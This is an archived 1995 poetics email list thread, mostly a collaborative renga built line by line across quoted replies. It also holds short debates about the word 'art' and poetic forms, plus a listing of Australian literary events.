> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Power to the spider, virtuous in act if not intent
> > > Sight over sound for "justice," O cubes of Cuba! Where
> > > would calmness be without the stain of possession and
> > Belief. A mirage effect, art, made to waver in
> > a modicum of chocolate milk. Not too late for
propelling you to the day without answers or questions

↑ Index

61. Joseph Zitt
Re: Renga 1
Thu 3 Aug 1995

On 2 Aug 95 at 18:21, Sheila E. Murphy wrote:

> >adding to Ron Silliman's addition --
> >
> > In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the

> bleached ribcage ripcorded into compassed wind
Weatherless birds, featherless biped bones conspired into song
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

62. David Kellogg
Re: avoidance behavior syndrome
Thu 3 Aug 1995

On Wed, 2 Aug 1995, George Bowering wrote:

> *I have found that the only people who avoid words like "art" on egalitarian terms are the privileged, university profs and the like. My brother-in-law wouldnt. And his job is putting together RVs. He would never call that art, either.*

His loss. But I'm hardly privileged, or a prof (though I may be "the like," I don't know). For me the main difference between graduate school and having finished is that my loans are due. "Dominated fraction of the dominant class," as Bourdieu says -- sure; but the privileges continue to elude me.

Besides, it was not for "egalitarian" reasons that I avoid words like art (or poetry). It's for pragmatic ones: namely, I think I can learn more without it than with.

Jeez, did I open a can 'o something.

Cheers,
David
~~~
~~~

63. GWYN M. MCVAY
Re: your mail
Thu 3 Aug 1995

On Thu, 3 Aug 1995, Rod Smith wrote:

> In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Power to the spider, virtuous in act if not intent
> > Sight over sound for "justice," O cubes of Cuba! Where
> > would calmness be without the stain of possession and
> Belief. A mirage effect, art, made to waver in
green glass, a rippled trapezoid slab, unmeant as

↑ Index

64. Jorge Guitart
Re: your mail
Thu 3 Aug 1995

On Thu, 3 Aug 1995, GWYN M. MCVAY wrote:

> On Thu, 3 Aug 1995, Rod Smith wrote:
>
> > In the books were dreams and in the dreams were books.
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Power to the spider, virtuous in act if not intent
> > > Sight over sound for "justice," O cubes of Cuba! Where
> > > would calmness be without the stain of possession and
> > Belief. A mirage effect, art, made to waver in
> green glass, a rippled trapezoid slab, unmeant as
it pushed the new look through light blood

↑ Index

65. Marisa A Januzzi

Re: Renga 1

Thu 3 Aug 1995

On Thu, 3 Aug 1995, Jorge Guitart wrote:

> On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
>
> > >adding to Ron Silliman's addition --
> > >
> > > In the books were dreams and in the dreams were books.
> > >> And flew through windows, lightning green and fine morning
> > >> First inverted whistle of a cardinal in the poplar
> > >> The book and the oboe on the grass under sun and cloud
> > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> The caravan of windows to what they flee
> > >> These lace curtains, more gauze than bondage, more
> > >> Mollycoddled than aware, thin-spined and pebbling
> > >> but narrow in the waist or waspish Sunday years ago
> > >> Over coffee topped with whipped cream, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her breasts as she
 gives gracious problem: fanatical snacks, landscape of

↑ Index

66. Burt Kimmelman

Re: avoidance behavior syndrome

Thu 3 Aug 1995

Tony et alia,

"ars longa, vita brevis."
 - Horace

"The lyf so short, the craft so long to lerne [. . .]."
 Chaucer

"Art new, hurt old: revealing [. . .]."
 Zukofsky

Burt

↑ Index

67. Hank Lazer
Re: Renga 1
Thu 3 Aug 1995

---

on August 2 Sheila E. Murphy (& others) wrote:
> >
> > In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
> >> The book and the oboe on the grass under sun and cloud
> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
floating, held open, adrift in different directions, she

↑ Index

68. Hank Lazer
Re: Renga 1
Thu 3 Aug 1995

On Aug 3 Marissa Januzzi wrote:

> *On Thu, 3 Aug 1995, Jorge Guitart wrote:*
>
> *On Wed, 2 Aug 1995, Sheila E. Murphy wrote:*
>
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*

> *gives gracious problem: fanatical snacks, landscape of lunar dust, the misdirected modules returning to the*

↑ Index

69. Louis Cabri
Take Yer Pardner Renga: Some Rules
Thu 3 Aug 1995

The "Take yer pardner..." renga

Proposed new email rules for it:

1. Prior to posting her/his line, each contributor must send it privately to one other member on the listserv, who contributes the next line and then posts the two lines together to the listserv.
2. No more than one contribution as initiator of a "couplet" per person every 24hrs.

Why doesn't somebody start on one of the rengas going now? In the subject heading, maybe call it "take yer pardner renga # __."

↑ Index

70. Herb Levy
Re: folk rhythms & forms
Thu 3 Aug 1995

There's been a lot added to this thread since I've had a chance to respond. This is a digest of responses to lots of different folks.

Perhaps the "problem" with identifying the inventor of the sonnet isn't just that the name is lost amidst (in the mists of) history. Instead it may have to do with the fact that there was a community of artists working together out of which the various troubador forms arose, similar to the development of, say blues or bebop or photography.

In other words, ou can point to the group from which these things arose, but you can't really single out one person as the originator. Both Rod Smith & Cris Cheek seem to refer to this kind of development in their several posts to this thread.

Many people who read this list have more knowledge of the specifics than I do, but it seems to me that this may be true even in stylistic movements like, say, Imagism or Projective Verse, which have a strongly identified father-figure.

Even here the style didn't leap fully formed out of the forehead of any one writer. Rather, these simply (or complexly) grew out of a dynamic process in which a group of writers reinforced various tendencies in their work.

So, if there is a form that grows out of, say, "My Life" or "Progress," it may not look exactly like either of these works, but instead would be related to several works by several writers working similar veins.

Herb Levy
[redacted]

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71. Mark Roberts
AWOL: Extra August Happenings List
Thu 3 Aug 1995

Extra August Happenings!!!

Due to AWOL being off line for most of July a few events slipped through our fingers. This extra posting for August will help to bring us (and you) up to date.

Australian Writing OnLine

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

AWOL is setting up a 'Virtual Bookshop' for Australian small magazines and presses. This will take the form of regular newsletters (which will be available both on the net and by mail and fax) which will pre/review new publications. This titles will then be able to be ordered by mail or fax. Associated with our Virtual Bookshop is our Sydney distribution service for small presses. Please contact us for further details if you want to distribute your publication to bookshops in Sydney.

AWOL can be contacted by email at [redacted], by writing to AWOL, PO Box 333, Concord NSW 2137, Australia, by faxing 61 2 [redacted] or by phoning 61 2 [redacted].

AWOL posts are archived on the WWW at the following address
http://www.anatomy.su.oz.au/danny/books/index.html
then click on Australian Writing OnLine.

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READINGS VICTORIA

La Mama Poetica, Monday, August 21st 8.00pm featuring Mal Morgan, Katherine Gallagher (who is now residing in the U.K. so this is a rare opportunity to hear her latest work) and cabaret artist, Barbara Quicksand. For details contact Catherine Bateson Ph (03) 9383 5677.

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QUEENSLAND WRITERS' CENTRE EVENTS

EXCITING WRITING: READINGS OF NEW WORKS AT THE QUEENSLAND WRITERS' CENTRE

Tuesday 22 August Vox Populi with Peter Anderson. Phil Brown, and Jackie Mckimmie. Chaired by Michael Doneman. $10 for (QWC members) $15 (non members). Ph 07 [redacted] for details.

Coming up on 3 October. 7pm....WARANA: PARADISE OR PARANOIA with Andrew McGahn, Robbie Lappan, Matthew Condon, Fran Ross, Marcus Gibson, Michael Richards, Gary Crew and Laurie Muller. This reading takes place at the Grand Orbit nightclub and tickets must be booked before the event. Contact QWC for further details.

BRISBANE: CITY OF WORDS

Brisbane: City of Words is an 8 week course beginning on Wednesday 9 August which will take participants on a journey through contemporary novels set largely in Brisbane. Taught by Vivienne Muller and Adam Shoemaker the course will look at Jessica Anderson Tirra Lirra by the River, David Malouf Johnno & 12 Edmonstone Street, Sam Watson The Kadaicha Sung, Angelika Fremd The Glass Inferno, Venero Armanno Romeo of the Underworld, Janet Turner Hospital Charades and the Last Magician, Andrew McGahan Praise and Rosie Scott Lives on Fire.

The course will take the form of lectures, discussion, text video and interview materials. It will be held on Wednesday evenings from 6-8pm at the Queensland Writers' Centre 535 Wickham Terrace Brisbane 4000. Cost is $120 (QWC members) $160 (non members) includes the cost of a special Word City Dinner during Warana Writers' Week in the company of one of the featured authors.

For further details contact QWC (07) [redacted] Ph, or (07) [redacted] fax.

CHILDREN'S BOOK WEEK 1995 21-25 AUGUST: VISIT BY GED MAYBURY

Ged Maybury is one of New Zealand's most successful and established writers of young adult science fiction novels. His work includes Timetwister, Silicone Stew, The Triggerstone and the Star Tropper Series (all published by Ashton Scholastic). His Robemasters of Noogiya series is being published by Harper Collins. Triggerstone, his latest book, has been nominated for the New Zealand AIM Children's book awards.

Ged Maybury will be available at the Queensland Writers' Centre from Monday 21 August to Friday 25 August for four sessions daily. Cost $65 (QWC members) and $75 (non-members) each. Pre-paid bookings only please. For further details contact QWC.

NOW AVAILABLE FROM THE QUEENSLAND WRITERS' CENTRE.....
HANDBOOK FOR QUEENSLAND WRITERS.

Contents include Preparation, Representation, Professional Issues and Development and Funding. Cost $10 plus $1.50 postage for QWC members 0r $15 plus $1.50 for non members. For more information contact the QWC.

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EVENTS AT THE NSW WRITERS' CENTRE

FEATURE READINGS AT THE NSW WRITERS' CENTRE

Feature Readings will replace the Rozelle Readings. The August lineup is Daniel Harbour, Patricia Gaut, Matthew Holt and Sabrina Achilles. Friday 25 August 7.30pm Wine/Supper $5 and $3 (conc). NSW Writers' Centre, Rozelle Hospital Grounds, Balmain Road Rozelle. For Further information contact NSWWC (02) 5559757 or fax (02)8181327

TEN WEEK WRITING COURSE WITH TUTOR AND CONVENOR SUSAN HAMPTON

This ten week course will cover any type of writing from prose, poetry and scripts to non-fiction and monologues. The first meeting will be held on Thursday 31 August from 6.30pm to 9.30pm. Cost $150 (NSWWC members) $200 (non-members) for booking information contact the centre (02) 5559757 or fax (02)8181327.

COMING UP AT THE NSW WRITERS' CENTRE....SPRING WRITING WEEKEND a two day literary festival featuring a mix of established and emerging writers. September 16-17 at the NSWWC. For further details contact NSWWC (02) 5559757 or fax (02)8181327.

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CONFERENCES

INTERNATIONAL P.E.N. 62nd WORLD CONGRESS
26 October - 1 November, 1995 at the Esplanade Hotel, Fremantle, W.A.

This Congress will be one of the most important literary and cultural events ever staged in Australia. The Congress will seek to explore the issue of freedom of speech in relation to different cultural contexts. It will also include literary readings, discussions and performances of Aboriginal culture, an International Quiz Night, a Hypothetical and many events designed to be fun!

Speakers will include Ronald Harwood (England), Goenawan Mohamad (Indonesia), Keki Daruwalla (India), George Aditjondro (Indonesia), Satendra Nandan (Australia-Fiji), Samina Yasmeen (Australia-Pakistan), Beth Yahp (Australia-Malaysia), Andrey Voznesensky (Russia), Ilsa Sharp (Australia-Singapore), Sally Morgan and Jill Milroy, Elizabeth Jolley, Judith Rodriguez, Tom Shapcott, and many more.

The Congress is open to anyone interested in literature and culture, and in the issue of Freedom of Speech. For the full programme and other details, please contact Promaco Conventions, Ph. 09. [redacted], Fax 09.[redacted]; or your local PEN Centre, or the Perth PEN Centre, PO. Box 1131 Subiaco, Australia 6008, Ph. & Fax: 09.[redacted]. Expressions of interest in membership of PEN are also warmly welcomed, and should be addressed to the PEN Centre. PEN works for freedom of speech and on behalf of writers in prison.

COUNTRY FESTIVAL OF WRITING SHEPPARTON VICTORIA

25 -27 August Readings and workshops by Elizabeth Jolly, Liam Davison, Myron Lysenko, Maureen McCarthy, Judith Rodriguez, Georgina Savage and more. For program details and booking form send SSAE to Country Festival of Writing, Box 2115, Shepparton Victoria 3632 or contact Hugh Oakes on (058) 9216663.

SECOND NATIONAL BOOK SUMMIT

31 August- 1 September 'The Book Idea...imagination, information and access' hosted by the National Book Council at the Sheraton Hotel, 13 Spring Street, Melbourne. For further information contact the Executive Director, National Book Council Ph (03) 6638655 or fax 6638658.

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While AWOL makes every effort to ensure the accuracy of Happenings listing we suggest you confirm dates, times and venue.

AWOL would like to thank the following organisation who provided information for this list: NSW Writers Centre, Queensland Writers Centre, La Mama Poetica, AusLit discussion group (internet), WIPround (Women in Publishing) and the other individuals and organisations who supplied information about their events directly to AWOL.

↑ Index

72. Jorge Guitart
Re: avoidance behavior syndrome
Thu 3 Aug 1995

Add:

"Ars Gratia Artis"
Leo*

*The Metro Goldwyn Mayer lion (he roars the three words distinctly --just watch him carefully)

"All art is quite useless"
Oscar Wilde

"Art is my nickname"
Arturo Toscanini

On Thu, 3 Aug 1995, Burt Kimmelman [redacted] wrote:

> *Tony et alia,*
>
> *"ars longa, vita brevis."*
> *- Horace*
>
> *"The lyf so short, the craft so long to lerne [. . .]."*
> *Chaucer*
>
> *"Art new, hurt old: revealing [. . .]."*
> *Zukofsky*
>
> *Burt*

↑ Index

73. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Thu, 3 Aug 1995, Marisa A Januzzi wrote:

> *On Thu, 3 Aug 1995, Jorge Guitart wrote:*
>
> *On Wed, 2 Aug 1995, Sheila E. Murphy wrote:*
>
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*

> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water*

↑ Index

74. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Thu, 3 Aug 1995, Hank Lazer wrote:

> *on August 2 Sheila E. Murphy (& others) wrote:*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *floating, held open, adrift in different directions, she*
> *held contradictory opinions about bombon glace'*

↑ Index

75. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Thu, 3 Aug 1995, Joseph Zitt wrote:

> On 2 Aug 95 at 18:21, Sheila E. Murphy wrote:
>
> > >adding to Ron Silliman's addition --

> > >
> > > In the books were dreams and in the dreams were books.
> > >> And flew through windows, lightning green and fine morning
> > >> First inverted whistle of a cardinal in the poplar
> > >> The book and the oboe on the grass under sun and cloud
> > >> Go endlessly, an obtuse Prussian blue, it binds
> > >> The caravan of windows to what they flee
> > >> These lace curtains, more gauze than bondage, more
> > >> Mollycoddled than aware, thin-spined and pebbling
> > >> but narrow in the waist or waspish Sunday years ago
> > >> Over coffee topped with whipped cream, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> Weatherless birds, featherless biped bones conspired into song
all in the same drawer,"Too tight in there? Well fuck 'em" Oh,

↑ Index

76. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Thu, 3 Aug 1995, Hank Lazer wrote:

> *On Aug 3 Marissa Januzzi wrote:*
>
> *On Thu, 3 Aug 1995, Jorge Guitart wrote:*
>
> *On Wed, 2 Aug 1995, Sheila E. Murphy wrote:*
>
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
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> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her breasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *lunar dust, the misdirected modules returning to the*

> *monument to the warren commission on the asteroid*

↑ Index

77. **maria damon**
Re: Renga 1
Thu 3 Aug 1995

In message <[redacted]> UB Poetics discussion group writes:
> adding to Ron Silliman's addition --
>
> In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped cream, the Times blowing
> & opining, heavy humid air, cumulus amusing against the
flat glass of renga matter, transparent unwords

↑ Index

78. **maria damon**
(no subject)
Thu 3 Aug 1995

In message <[redacted]> UB Poetics discussion
group writes:
> In the books were dreams and in the dreams were books.
> And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The rook to the knight here by King's Bishop Three
> Something has changed in the nature of friendship
> Renegade and flightless, board of common prayer aside
> Retires a diplomat with "the Prussian blues" - misconstrual

> but doesn't bother to misconstrue itself and then
> drinkin' eel foot at the barley mow just last saturday i
> detected an anomalous rhythmicity nuncupating our otherwise
> tearfully drear decorum of the dead letter dance
ohime, ohime! i fell between A and E
>

↑ Index

79. maria damon

Re: Renga 1

Thu 3 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >adding to Ron Silliman's addition --
> >
> > In the books were dreams and in the dreams were books.
> >> And flew through windows, lightning green and fine morning
> >> First inverted whistle of a cardinal in the poplar
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> >> Go endlessly, an obtuse Prussian blue, it binds
> >> The caravan of windows to what they flee
> >> These lace curtains, more gauze than bondage, more
> >> Mollycoddled than aware, thin-spined and pebbling
> >> but narrow in the waist or waspish Sunday years ago
> >> Over coffee topped with whipped cream, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> bleached ribcage ripcorded into compassed wind
and shivershiver compressed tree into language

↑ Index

80. maria damon

Re: avoidance behavior syndrome

Thu 3 Aug 1995

In message <[redacted]> UB Poetics discussion group
writes:
> I have found that the only people who avoid words like "art" on
> egalitarian terms are the privileged, university profs and the like.
> My brother-in-law wouldnt. And his job is putting together RVs. He
> would never call that art, either.

i'm getting an odd deja vu sensation --did this identical post come through my transom a few months back?--md

↑ Index

81. maria damon

Re: your mail

Thu 3 Aug 1995

In message <[redacted]> UB
Poetics discussion group writes:
> > In the books were dreams and in the dreams were books.
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Power to the spider, virtuous in act if not intent
> > > Sight over sound for "justice," O cubes of Cuba! Where
> > > would calmness be without the stain of possession and
> > Belief. A mirage effect, art, made to waver in
> > a modicum of chocolate milk. Not too late for
the phalarope, anodyne, cynesure, palindrome or rapturous whatnots

↑ Index

82. maria damon

Re: your mail

Thu 3 Aug 1995

In message <[redacted]> UB Poetics
discussion group writes:
> On Thu, 3 Aug 1995, Rod Smith wrote:
>
> > In the books were dreams and in the dreams were books.
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Power to the spider, virtuous in act if not intent
> > > Sight over sound for "justice," O cubes of Cuba! Where

> > > would calmness be without the stain of possession and
> > Belief. A mirage effect, art, made to waver in
> green glass, a rippled trapezoid slab, unmeant as
only unmeaning jargon can really get under your

↑ Index

83. maria damon
Re: your mail
Thu 3 Aug 1995

In message <[redacted]> UB
Poetics discussion group writes:
> On Thu, 3 Aug 1995, GWYN M. MCVAY wrote:
>
> > On Thu, 3 Aug 1995, Rod Smith wrote:
> >
> > > In the books were dreams and in the dreams were books.
> > > > And flew through windows, lightning green and fine morning
> > > > First inverted whistle of a cardinal in the poplar
> > > > The book and the oboe on the grass under sun and cloud
> > > > Go endlessly, an obtuse Prussian blue, it binds
> > > > The caravan of windows to what they flee
> > > > These lace curtains, more gauze than bondage, more
> > > > Power to the spider, virtuous in act if not intent
> > > > Sight over sound for "justice," O cubes of Cuba! Where
> > > > would calmness be without the stain of possession and
> > > Belief. A mirage effect, art, made to waver in
> > green glass, a rippled trapezoid slab, unmeant as
> it pushed the new look through light blood-
ed pages of vogue and vague and rogue elephantine

↑ Index

84. Joseph Zitt
Re: Renga 1
Thu 3 Aug 1995

On 3 Aug 95 at 11:35, Marisa A Januzzi wrote:

> On Thu, 3 Aug 1995, Jorge Guitart wrote:
>
> > On Wed, 2 Aug 1995, Sheila E. Murphy wrote:
> >
> > > >adding to Ron Silliman's addition --

> > > >
> > > > In the books were dreams and in the dreams were books.
> > > >> And flew through windows, lightning green and fine morning
> > > >> First inverted whistle of a cardinal in the poplar
> > > >> The book and the oboe on the grass under sun and cloud
> > > >> Go endlessly, an obtuse Prussian blue, it binds
> > > >> The caravan of windows to what they flee
> > > >> These lace curtains, more gauze than bondage, more
> > > >> Mollycoddled than aware, thin-spined and pebbling
> > > >> but narrow in the waist or waspish Sunday years ago
> > > >> Over coffee topped with whipped cream, the Times blowing
> > > > & opining, heavy humid air, cumulus amusing against the
> > > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her breasts as she
> gives gracious problem: fanatical snacks, landscape of
Riemann space worried into tropical depression
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

85. Joseph Zitt
On little renga feet
Thu 3 Aug 1995

One of these things I think about when i don't have anything to think about:

What is determining the lengths of our lines of the renga? No rules have been stated, but there seems to be something in common about them.

Personally, I've make them short enough that they don't wrap -- but what is apparently keeping the lines as long as they are.

(Of course, I've probably messed things up by asking this, and someone will no doubt post a one-character line...) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

86. George Bowering
Re: avoidance behavior syndrome
Thu 3 Aug 1995

From some points of view, one who is in graduate school is already among the privileged.

↑ Index

87. George Bowering
Re: avoidance behavior syndrome
Thu 3 Aug 1995

I guess that "art" is a slippery term. I have heard, in interviews on MTV, guityar wangers referring to themselves as "artists."

↑ Index

88. Tony Green
Re: avoidance behavior syndrome
Thu 3 Aug 1995

yes Burt close to my own sentiments re- art as primarily a knowledge in practice of the artist (including a knowledge of relation to hearers, readers, or beholders) only secondarily and latterly a category of works to be known by their conformities to protocols by which they should or should not be admitted to a museum, anthology or canon -- the purposes of which prove to be to turn works into instructive examples for future practice, running into the problem of the singularity of occasions for works -- hence permanent quarrels between ancients and moderns. [I've said this before, I guess. boring????]

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

89. Tom Taylor
Re: folk rhythms & forms
Thu 3 Aug 1995

well put

↑ Index

90. Carl Lynden Peters
Re: avoidance behavior syndrome
Thu 3 Aug 1995

> *I guess that "art" is a slippery term. I have heard, in interviews on MTV, guityar wangers referring to themselves as "artists."*

i was reading joseph beuys today, and i think he'd have no problem with wangers who say their wangering is art. in an interview once, he said a nurse is an artist. so is a banker. even a baker. so i don't think he'd have any difficulty with wangers.

my art professor at york, someone who continues to remain an important influence on me in my life in art, always emphasized that he was not an artist and that he didn't make art. he was trained in the mystical tradition of the kabbalah. his work is second to none. questions abt art don't bother him in the least. we're in the process of getting a major retrospective of his work together, which is likely to have both national and international contexts. more on that as it unfolds. whatever it is he does or however he defines it, i know that he's found at least one key to unlock the secret mind. he takes his work seriously. i have the utmost respect for that. people often say: "man, yr just too damn serious!"

↑ Index

91. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Thu, 3 Aug 1995, maria damon wrote:

> *In message <[redacted]> UB Poetics discussion group writes:*
> *adding to Ron Silliman's addition --*
>
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*

> *& opining, heavy humid air, cumulus amusing against the*
> *flat glass of renga matter, transparent unwords*
> *un-unspoken as a whippooorwill said "wahoowhen!" in Ojibwa*

↑ Index

92. Jorge Guitart
Re: your mail
Thu 3 Aug 1995

On Thu, 3 Aug 1995, maria damon (& a cast of about 12) wrote:

> > In the books were dreams and in the dreams were books.
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
> > The rook to the knight here by King's Bishop Three
> > Something has changed in the nature of friendship
> > Renegade and flightless, board of common prayer aside
> > Retires a diplomat with "the Prussian blues" - misconstrual
> > but doesn't bother to misconstrue itself and then
> > drinkin' eel foot at the barley mow just last saturday i
> > detected an anomalous rhythmicity nuncupating our otherwise
> > tearfully drear decorum of the dead letter dance
> ohime, ohime! i fell between A and E
2-good 2-be 4-gotten in the crag & where the hell is Carmen S.D.

↑ Index

93. Jorge Guitart
Re: Renga 1
Thu 3 Aug 1995

On Thu, 3 Aug 1995, maria damon, adding to adder's addition to ron wrote:

> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped cream, the Times blowing*

> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *and shivershiver compressed tree into language*
> *from which postmeaning scrammed & sure enough*

↑ Index

94. Jorge Guitart
Re: your mail
Thu 3 Aug 1995

On Thu, 3 Aug 1995, maria damon wrote:

> *In message <[redacted]> UB*
> *Poetics discussion group writes:*
> *In the books were dreams and in the dreams were books.*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Power to the spider, virtuous in act if not intent*
> *Sight over sound for "justice," O cubes of Cuba! Where*
> *would calmness be without the stain of possession and*
> *Belief. A mirage effect, art, made to waver in*
> *a modicum of chocolate milk. Not too late for*
> *the phalarope, anodyne, cynesure, palindrome or rapturous whatnots*
> *or the Orifice-Precipice Paradox whom the angels called McLemore's*

↑ Index

95. Jorge Guitart
Re: your mail
Thu 3 Aug 1995

On Thu, 3 Aug 1995, maria damon wrote:

> *In message <[redacted]> UB Poetics*
